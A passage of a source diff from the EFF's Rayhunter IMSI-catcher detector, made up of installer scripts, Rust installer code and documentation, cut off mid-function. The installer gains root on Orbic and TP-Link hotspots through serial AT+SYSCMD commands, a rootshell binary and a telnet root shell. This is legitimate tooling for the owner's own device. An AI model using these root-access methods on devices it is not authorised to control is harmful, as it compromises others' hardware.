&$global:serial "AT+SYSCMD=mv /tmp/config.toml /data/rayhunter" | Out-Host
|
||||||
|
_adb_push "rayhunter-daemon-orbic/rayhunter-daemon" "/tmp/rayhunter-daemon"
|
||||||
|
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter-daemon /data/rayhunter" | Out-Host
|
||||||
|
_adb_push "scripts/rayhunter_daemon" "/tmp/rayhunter_daemon"
|
||||||
|
&$global:serial "AT+SYSCMD=mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" | Out-Host
|
||||||
|
_adb_push "scripts/misc-daemon" "/tmp/misc-daemon"
|
||||||
|
&$global:serial "AT+SYSCMD=mv /tmp/misc-daemon /etc/init.d/misc-daemon" | Out-Host
|
||||||
|
|
||||||
|
&$global:serial "AT+SYSCMD=chmod 755 /data/rayhunter/rayhunter-daemon" | Out-Host
|
||||||
|
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/rayhunter_daemon" | Out-Host
|
||||||
|
&$global:serial "AT+SYSCMD=chmod 755 /etc/init.d/misc-daemon" | Out-Host
|
||||||
|
|
||||||
|
write-host "waiting for reboot..."
|
||||||
|
&$global:serial "AT+SYSCMD=shutdown -r -t 1 now" | Out-Host
|
||||||
|
do {
|
||||||
|
start-sleep -seconds 1
|
||||||
|
} until ((_adb_shell "true 2> /dev/null") -ne 0)
|
||||||
|
|
||||||
|
_wait_for_adb_shell
|
||||||
|
write-host "done!"
|
||||||
|
}
|
||||||
|
|
||||||
|
function test_rayhunter {
|
||||||
|
$URL = "http://localhost:8080"
|
||||||
|
$fproc = start-process $global:adb -argumentlist "forward", "tcp:8080", "tcp:8080" -wait -passthru
|
||||||
|
if ($fproc.exitcode -ne 0) {
|
||||||
|
write-host "adb forward tcp:8080 tcp:8080 failed with exit code $($proc.exitcode)"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
write-host "checking for rayhunter server..." -nonewline
|
||||||
|
$seconds = 0
|
||||||
|
do {
|
||||||
|
$resp = invoke-webrequest -uri $URL
|
||||||
|
if ($resp.statuscode -eq 200) {
|
||||||
|
write-host "success!"
|
||||||
|
write-host "you can access rayhunter at $($URL)"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
start-sleep 1
|
||||||
|
$seconds = $seconds + 1
|
||||||
|
} until ($seconds -eq 30)
|
||||||
|
write-host "timeout reached! failed to reach rayhunter url $($URL), something went wrong :("
|
||||||
|
}
|
||||||
|
|
||||||
|
function get_android_tools {
|
||||||
|
write-host "adb not found, downloading local copy"
|
||||||
|
invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
|
||||||
|
expand-archive -force -path "platform-tools-latest-windows.zip"
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not (test-path -path $global:serial)) {
|
||||||
|
write-error "can't find serial, aborting"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not (test-path -path $global:adb)) {
|
||||||
|
get_android_tools
|
||||||
|
}
|
||||||
|
|
||||||
|
force_debug_mode
|
||||||
|
setup_rootshell
|
||||||
|
setup_rayhunter
|
||||||
|
test_rayhunter
|
||||||
|
```
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
# Installing from the latest release
|
||||||
|
|
||||||
|
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
|
||||||
|
|
||||||
|
1. Download the latest `release.tar` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
|
||||||
|
2. Decompress the `release.tar` archive. Open the terminal and navigate to the folder
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir ~/Downloads/release
|
||||||
|
tar -xvf ~/Downloads/release.tar -C ~/Downloads/release
|
||||||
|
cd ~/Downloads/release
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Turn on your device by holding the power button on the front.
|
||||||
|
|
||||||
|
* For the Orbic, connect the device using a USB-C cable.
|
||||||
|
* For TP-Link, connect to its network using either WiFi or USB Tethering.
|
||||||
|
|
||||||
|
4. Run the install script for your operating system:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./install orbic
|
||||||
|
# or: ./install tplink
|
||||||
|
```
|
||||||
|
|
||||||
|
The device will restart multiple times over the next few minutes.
|
||||||
|
|
||||||
|
You will know it is done when you see terminal output that says `Testing rayhunter... done`
|
||||||
|
|
||||||
|
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device.
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
* On macOS if you encounter an error that says "No Orbic device found," it may because you the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
# Installing from source
|
||||||
|
|
||||||
|
Building Rayhunter from source, either for development or because the install script doesn't work on your system, involves a number of external dependencies. Unless you need to do this, we recommend you use our [compiled builds](https://github.com/EFForg/rayhunter/releases).
|
||||||
|
|
||||||
|
* Install [nodejs/npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm), which is required to build Rayhunter's web UI
|
||||||
|
* Make sure to build the site with `cd bin/web && npm install && npm run build` before building Rayhunter. If you're working directly on the frontend, `npm run dev` will allow you to test a local frontend with hot-reloading (use `http://localhost:5173` instead of `http://localhost:8080`).
|
||||||
|
* Install ADB on your computer using the instructions above, and make sure it's in your terminal's PATH
|
||||||
|
* You can verify if ADB is in your PATH by running `which adb` in a terminal. If it prints the filepath to where ADB is installed, you're set! Otherwise, try following one of these guides:
|
||||||
|
* [linux](https://askubuntu.com/questions/652936/adding-android-sdk-platform-tools-to-path-downloaded-from-umake)
|
||||||
|
* [macOS](https://www.repeato.app/setting-up-adb-on-macos-a-step-by-step-guide/)
|
||||||
|
* [Windows](https://medium.com/@yadav-ajay/a-step-by-step-guide-to-setting-up-adb-path-on-windows-0b833faebf18)
|
||||||
|
* Install `curl` on your computer to run the install scripts. It is not needed to build binaries.
|
||||||
|
|
||||||
|
### Install Rust targets
|
||||||
|
|
||||||
|
[Install Rust the usual way](https://www.rust-lang.org/tools/install). Then,
|
||||||
|
|
||||||
|
- install the cross-compilation target for the device rayhunter will run on:
|
||||||
|
```sh
|
||||||
|
rustup target add armv7-unknown-linux-musleabihf
|
||||||
|
```
|
||||||
|
|
||||||
|
- install the statically compiled target for your host machine to build the binary installer `serial`.
|
||||||
|
```sh
|
||||||
|
# check which toolchain you have installed by default with
|
||||||
|
rustup show
|
||||||
|
# now install the correct variant for your host platform, one of:
|
||||||
|
rustup target add x86_64-unknown-linux-musl
|
||||||
|
rustup target add aarch64-unknown-linux-musl
|
||||||
|
rustup target add aarch64-apple-darwin
|
||||||
|
rustup target add x86_64-apple-darwin
|
||||||
|
rustup target add x86_64-pc-windows-gnu
|
||||||
|
```
|
||||||
|
|
||||||
|
Now you can root your device and install Rayhunter by running:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features orbic
|
||||||
|
|
||||||
|
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
|
||||||
|
|
||||||
|
cargo run --bin installer orbic
|
||||||
|
```
|
||||||
|
|
||||||
|
### If you're on Windows or can't run the install scripts
|
||||||
|
|
||||||
|
* Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183>
|
||||||
|
* Build the web UI using `cd bin/web && npm install && npm run build`
|
||||||
|
* Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above)
|
||||||
|
* You also need to copy `config.toml.example` to `/data/rayhunter/config.toml`
|
||||||
|
* Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running!
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|

|
||||||
|
|
||||||
|
# Rayhunter
|
||||||
|
|
||||||
|
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
|
||||||
|
|
||||||
|
It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
|
||||||
|
|
||||||
|
To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying). Otherwise, check out the [installation guide](./installation.md) to get started.
|
||||||
|
|
||||||
|
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
|
||||||
|
|
||||||
|
*Good Hunting!*
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
# Orbic RC400L
|
||||||
|
|
||||||
|
The Orbic RC400L is an inexpensive LTE modem primarily designed for the US marked, and the original device for which Rayhunter is developed.
|
||||||
|
|
||||||
|
You can buy an Orbic [using bezos
|
||||||
|
bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
|
||||||
|
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
|
||||||
|
|
||||||
|
[Please check whether the Orbic works in your country](https://www.frequencycheck.com/countries/), and whether the Orbic RC400L supports the right frequency bands for your purpose before buying.
|
||||||
|
|
||||||
|
## Supported Bands
|
||||||
|
|
||||||
|
| Frequency | Band |
|
||||||
|
| ------- | ------------------ |
|
||||||
|
| 5G (wideband,midband,nationwide) | n260/n261, n77, n2/5/48/66 |
|
||||||
|
| 4G | 2/4/5/12/13/48/66 |
|
||||||
|
| Global & Roaming | n257/n78 |
|
||||||
|
| Wifi 2.4Ghz | b/g/n |
|
||||||
|
| Wifi 5Ghz | a/ac/ax |
|
||||||
|
| Wifi 6 | 🮱 |
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
# Support, Feedback, and Community
|
||||||
|
|
||||||
|
If you're using Rayhunter (or trying to), we'd love to hear from you! Check out one of the following forums for contacting the Rayhunter developers and community:
|
||||||
|
|
||||||
|
* If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
|
||||||
|
* If you're having issues installing or using Rayhunter, please [open an issue](https://github.com/EFForg/rayhunter/issues) on our Github repo.
|
||||||
|
* If you'd like to propose a feature, heuristic, or device for Rayhunter, [start a discussion](https://github.com/EFForg/rayhunter/discussions) in our Github repo
|
||||||
|
* For anything else, join us in the `#rayhunter` or `#rayhunter-developers` channel of [EFF's Mattermost](https://opensource.eff.org/signup_user_complete/?id=r1b6cnta9bysxk6im3kuabiu1y&md=link&sbr=su) instance to chat!
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
# Supported devices
|
||||||
|
|
||||||
|
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
|
||||||
|
|
||||||
|
If you have a device in mind which you'd like Rayhunter to support, please [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
|
||||||
|
|
||||||
|
- [Orbic RC400L](./orbic.md)
|
||||||
|
- [TP-Link M7350](./tplink-m7350.md)
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
# TP-Link M7350
|
||||||
|
|
||||||
|
The TP-Link M7350 is supported by Rayhunter as of 0.2.9. It supports many more frequency bands than Orbic and therefore works in Europe.
|
||||||
|
|
||||||
|
You can get it from:
|
||||||
|
|
||||||
|
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there.
|
||||||
|
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
|
||||||
|
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
|
||||||
|
|
||||||
|
## Installation & Usage
|
||||||
|
|
||||||
|
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
|
||||||
|
|
||||||
|
Unlike on Orbic, the installer will not enable ADB. Instead, you can do this to obtain a root shell:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./installer util tplink-start-telnet
|
||||||
|
telnet 192.168.0.1
|
||||||
|
```
|
||||||
|
|
||||||
|
## Display states
|
||||||
|
|
||||||
|
If your device has a color display, Rayhunter will show the same
|
||||||
|
red/green/white line at the top of the display as it does on Orbic, each color
|
||||||
|
meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
|
||||||
|
|
||||||
|
If your device has a one-bit (black-and-white) display, Rayhunter will instead
|
||||||
|
show an emoji to indicate status:
|
||||||
|
|
||||||
|
* `!` means "warning (potential IMSI catcher)"
|
||||||
|
* `:)` (smiling) means "recording"
|
||||||
|
* `:` (face with no mouth) means "paused"
|
||||||
|
|
||||||
|
## Hardware versions
|
||||||
|
|
||||||
|
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||||
|
|
||||||
|
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
|
||||||
|
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
|
||||||
|
* `9.0`: Recording might be broken, could be fixed if there is demand.
|
||||||
|
|
||||||
|
TP-Link versions newer than `3.0` have cyan packaging and a color display.
|
||||||
|
Version `3.0` has a one-bit display and white packaging.
|
||||||
|
|
||||||
|
You can find the exact hardware version of each device under the battery or
|
||||||
|
next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
|
||||||
|
|
||||||
|
When filing bug reports, particularly with the installer, please always
|
||||||
|
specify the exact hardware version.
|
||||||
|
|
||||||
|
## Other links
|
||||||
|
|
||||||
|
For more information on the device and instructions on how to install Rayhunter without an installer, see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
# Uninstalling
|
||||||
|
|
||||||
|
## Orbic
|
||||||
|
|
||||||
|
To uninstall Rayhunter, power on your Orbic device and connect to it via USB. Then, start a rootshell on it by running `adb shell`, followed by `rootshell`.
|
||||||
|
|
||||||
|
Once in a rootshell, run:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
echo 3 > /usrdata/mode.cfg
|
||||||
|
rm -rf /data/rayhunter /etc/init.d/rayhunter-daemon /bin/rootshell.sh
|
||||||
|
reboot
|
||||||
|
```
|
||||||
|
|
||||||
|
Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabled mode.
|
||||||
|
|
||||||
|
## TPLink
|
||||||
|
|
||||||
|
TODO
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
# Updating Rayhunter
|
||||||
|
|
||||||
|
Great news: if you've successfully installed rayhunter, you already know how to update it! Our update process is identical to the installation process: simply repeat the steps for installing Rayhunter via a [release](./installing-from-release.md) or from [source](./installing-from-source.md).
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
# Using Rayhunter
|
||||||
|
|
||||||
|
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
|
||||||
|
|
||||||
|
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, delete captures, and view heuristic analyses of captures.
|
||||||
|
|
||||||
|
You can access this UI in one of two ways:
|
||||||
|
|
||||||
|
* **Connect over wifi:** Connect your phone/laptop to your device's wifi
|
||||||
|
network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic)
|
||||||
|
or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink).
|
||||||
|
|
||||||
|
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
|
||||||
|
|
||||||
|
On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||||
|
* **Connect over USB (orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
|
||||||
|
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
||||||
|
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
||||||
|
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
|
||||||
|
* **Connect over USB (tplink):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
|
||||||
Executable
+10
@@ -0,0 +1,10 @@
|
|||||||
|
#!/bin/bash -e
|
||||||
|
pushd bin/web
|
||||||
|
npm run build
|
||||||
|
popd
|
||||||
|
#docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
|
||||||
|
docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv sh -c 'cargo build --release --target="armv7-unknown-linux-gnueabihf"'
|
||||||
|
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
||||||
|
adb push target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
||||||
|
echo "rebooting the device..."
|
||||||
|
adb shell '/bin/rootshell -c "reboot"'
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
[package]
|
||||||
|
name = "installer"
|
||||||
|
version = "0.3.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
anyhow = "1.0.98"
|
||||||
|
axum = "0.8.3"
|
||||||
|
bytes = "1.10.1"
|
||||||
|
clap = { version = "4.5.37", features = ["derive"] }
|
||||||
|
hyper = "1.6.0"
|
||||||
|
hyper-util = "0.1.11"
|
||||||
|
md5 = "0.7.0"
|
||||||
|
nusb = "0.1.13"
|
||||||
|
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
|
||||||
|
serde = { version = "1.0.219", features = ["derive"] }
|
||||||
|
sha2 = "0.10.8"
|
||||||
|
tokio = { version = "1.44.2", features = ["full"] }
|
||||||
|
tokio-retry2 = "0.5.7"
|
||||||
|
tokio-stream = "0.1.17"
|
||||||
|
|
||||||
|
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
|
||||||
|
git = "https://github.com/gaykitty/adb_client.git"
|
||||||
|
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||||
|
default-features = false
|
||||||
|
features = ["trans-nusb"]
|
||||||
|
|
||||||
|
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
|
||||||
|
git = "https://github.com/gaykitty/adb_client.git"
|
||||||
|
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||||
|
default-features = false
|
||||||
|
features = ["trans-libusb"]
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
use core::str;
|
||||||
|
use std::path::Path;
|
||||||
|
use std::process::exit;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
|
||||||
|
let include_dir = Path::new(concat!(
|
||||||
|
env!("CARGO_MANIFEST_DIR"),
|
||||||
|
"/../target/armv7-unknown-linux-musleabihf/release/"
|
||||||
|
));
|
||||||
|
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
|
||||||
|
set_binary_var(
|
||||||
|
&include_dir,
|
||||||
|
"FILE_RAYHUNTER_DAEMON_ORBIC",
|
||||||
|
"rayhunter-daemon",
|
||||||
|
);
|
||||||
|
set_binary_var(
|
||||||
|
&include_dir,
|
||||||
|
"FILE_RAYHUNTER_DAEMON_TPLINK",
|
||||||
|
"rayhunter-daemon",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
|
||||||
|
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
|
||||||
|
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||||
|
std::fs::create_dir_all(&out_dir).unwrap();
|
||||||
|
let blank = Path::new(&out_dir).join("blank");
|
||||||
|
std::fs::write(&blank, &[]).unwrap();
|
||||||
|
println!("cargo::rustc-env={var}={}", blank.display());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if std::env::var_os(var).is_none() {
|
||||||
|
let binary = include_dir.join(file);
|
||||||
|
if !binary.exists() {
|
||||||
|
println!(
|
||||||
|
"cargo::error=Firmware binary {file} not present at {}",
|
||||||
|
binary.display()
|
||||||
|
);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
println!("cargo::rustc-env={var}={}", binary.display());
|
||||||
|
println!("cargo::rerun-if-changed={}", binary.display());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
use anyhow::{Context, Error, bail};
|
||||||
|
use clap::{Parser, Subcommand};
|
||||||
|
|
||||||
|
mod orbic;
|
||||||
|
mod tplink;
|
||||||
|
|
||||||
|
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
|
||||||
|
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
|
||||||
|
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
#[command(version, about)]
|
||||||
|
struct Args {
|
||||||
|
#[command(subcommand)]
|
||||||
|
command: Command,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Subcommand, Debug)]
|
||||||
|
enum Command {
|
||||||
|
/// Install rayhunter on the Orbic Orbic RC400L.
|
||||||
|
Orbic(InstallOrbic),
|
||||||
|
/// Install rayhunter on the TP-Link M7350.
|
||||||
|
Tplink(InstallTpLink),
|
||||||
|
/// Developer utilities.
|
||||||
|
Util(Util),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
struct InstallTpLink {
|
||||||
|
/// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means
|
||||||
|
/// that if an SD card is later added, your existing installation is shadowed!
|
||||||
|
#[arg(long)]
|
||||||
|
skip_sdcard: bool,
|
||||||
|
|
||||||
|
/// IP address for TP-Link admin interface, if custom.
|
||||||
|
#[arg(long, default_value = "192.168.0.1")]
|
||||||
|
admin_ip: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
struct InstallOrbic {}
|
||||||
|
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
struct Util {
|
||||||
|
#[command(subcommand)]
|
||||||
|
command: UtilSubCommand,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Subcommand, Debug)]
|
||||||
|
enum UtilSubCommand {
|
||||||
|
/// Send a serial command to the Orbic.
|
||||||
|
Serial(Serial),
|
||||||
|
/// Root the tplink and launch telnetd.
|
||||||
|
TplinkStartTelnet(TplinkStartTelnet),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
struct TplinkStartTelnet {
|
||||||
|
/// IP address for TP-Link admin interface, if custom.
|
||||||
|
#[arg(long, default_value = "192.168.0.1")]
|
||||||
|
admin_ip: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
struct Serial {
|
||||||
|
#[arg(long)]
|
||||||
|
root: bool,
|
||||||
|
command: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn run() -> Result<(), Error> {
|
||||||
|
let Args { command } = Args::parse();
|
||||||
|
|
||||||
|
match command {
|
||||||
|
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
|
||||||
|
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||||
|
Command::Util(subcommand) => match subcommand.command {
|
||||||
|
UtilSubCommand::Serial(serial_cmd) => {
|
||||||
|
if serial_cmd.root {
|
||||||
|
if !serial_cmd.command.is_empty() {
|
||||||
|
eprintln!("You cannot use --root and specify a command at the same time");
|
||||||
|
std::process::exit(64);
|
||||||
|
}
|
||||||
|
orbic::enable_command_mode()?;
|
||||||
|
} else if serial_cmd.command.is_empty() {
|
||||||
|
eprintln!("Command cannot be an empty string");
|
||||||
|
std::process::exit(64);
|
||||||
|
} else {
|
||||||
|
let cmd = serial_cmd.command.join(" ");
|
||||||
|
match orbic::open_orbic()? {
|
||||||
|
Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?,
|
||||||
|
None => bail!(orbic::ORBIC_NOT_FOUND),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
UtilSubCommand::TplinkStartTelnet(options) => {
|
||||||
|
tplink::start_telnet(&options.admin_ip).await?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() {
|
||||||
|
if let Err(e) = run().await {
|
||||||
|
eprintln!("{e:?}");
|
||||||
|
std::process::exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,457 @@
|
|||||||
|
use std::io::{ErrorKind, Write};
|
||||||
|
use std::path::Path;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
|
||||||
|
use anyhow::{Context, Result, anyhow, bail};
|
||||||
|
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
|
||||||
|
use nusb::{Device, Interface};
|
||||||
|
use sha2::{Digest, Sha256};
|
||||||
|
use tokio::time::sleep;
|
||||||
|
|
||||||
|
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||||
|
|
||||||
|
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
|
||||||
|
Make sure your device is plugged in and turned on.
|
||||||
|
|
||||||
|
If you're sure you've plugged in an Orbic device via USB, there may be a bug in
|
||||||
|
our installer. Please file a bug with the output of `lsusb` attached."#;
|
||||||
|
|
||||||
|
const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another program.
|
||||||
|
|
||||||
|
Please close any program that might be using your USB devices.
|
||||||
|
If you have adb installed you may need to kill the adb daemon"#;
|
||||||
|
|
||||||
|
#[cfg(target_os = "macos")]
|
||||||
|
const ORBIC_BUSY_MAC: &str = r#"Permission denied.
|
||||||
|
|
||||||
|
On macOS this might be caused by another program using the Orbic.
|
||||||
|
Please close any program that might be using your Orbic.
|
||||||
|
If you have adb installed you may need to kill the adb daemon"#;
|
||||||
|
|
||||||
|
const VENDOR_ID: u16 = 0x05c6;
|
||||||
|
const PRODUCT_ID: u16 = 0xf601;
|
||||||
|
|
||||||
|
macro_rules! echo {
|
||||||
|
($($arg:tt)*) => {
|
||||||
|
print!($($arg)*);
|
||||||
|
let _ = std::io::stdout().flush();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn install() -> Result<()> {
|
||||||
|
let mut adb_device = force_debug_mode().await?;
|
||||||
|
let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?;
|
||||||
|
echo!("Installing rootshell... ");
|
||||||
|
setup_rootshell(&serial_interface, &mut adb_device).await?;
|
||||||
|
println!("done");
|
||||||
|
echo!("Installing rayhunter... ");
|
||||||
|
let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?;
|
||||||
|
println!("done");
|
||||||
|
echo!("Testing rayhunter... ");
|
||||||
|
test_rayhunter(&mut adb_device).await?;
|
||||||
|
println!("done");
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn force_debug_mode() -> Result<ADBUSBDevice> {
|
||||||
|
println!("Forcing a switch into the debug mode to enable ADB");
|
||||||
|
enable_command_mode()?;
|
||||||
|
echo!("ADB enabled, waiting for reboot... ");
|
||||||
|
let mut adb_device = get_adb().await?;
|
||||||
|
println!("it's alive!");
|
||||||
|
echo!("Waiting for atfwd_daemon to startup... ");
|
||||||
|
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
|
||||||
|
println!("done");
|
||||||
|
Ok(adb_device)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn setup_rootshell(
|
||||||
|
serial_interface: &Interface,
|
||||||
|
adb_device: &mut ADBUSBDevice,
|
||||||
|
) -> Result<()> {
|
||||||
|
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
|
||||||
|
|
||||||
|
install_file(
|
||||||
|
serial_interface,
|
||||||
|
adb_device,
|
||||||
|
"/bin/rootshell",
|
||||||
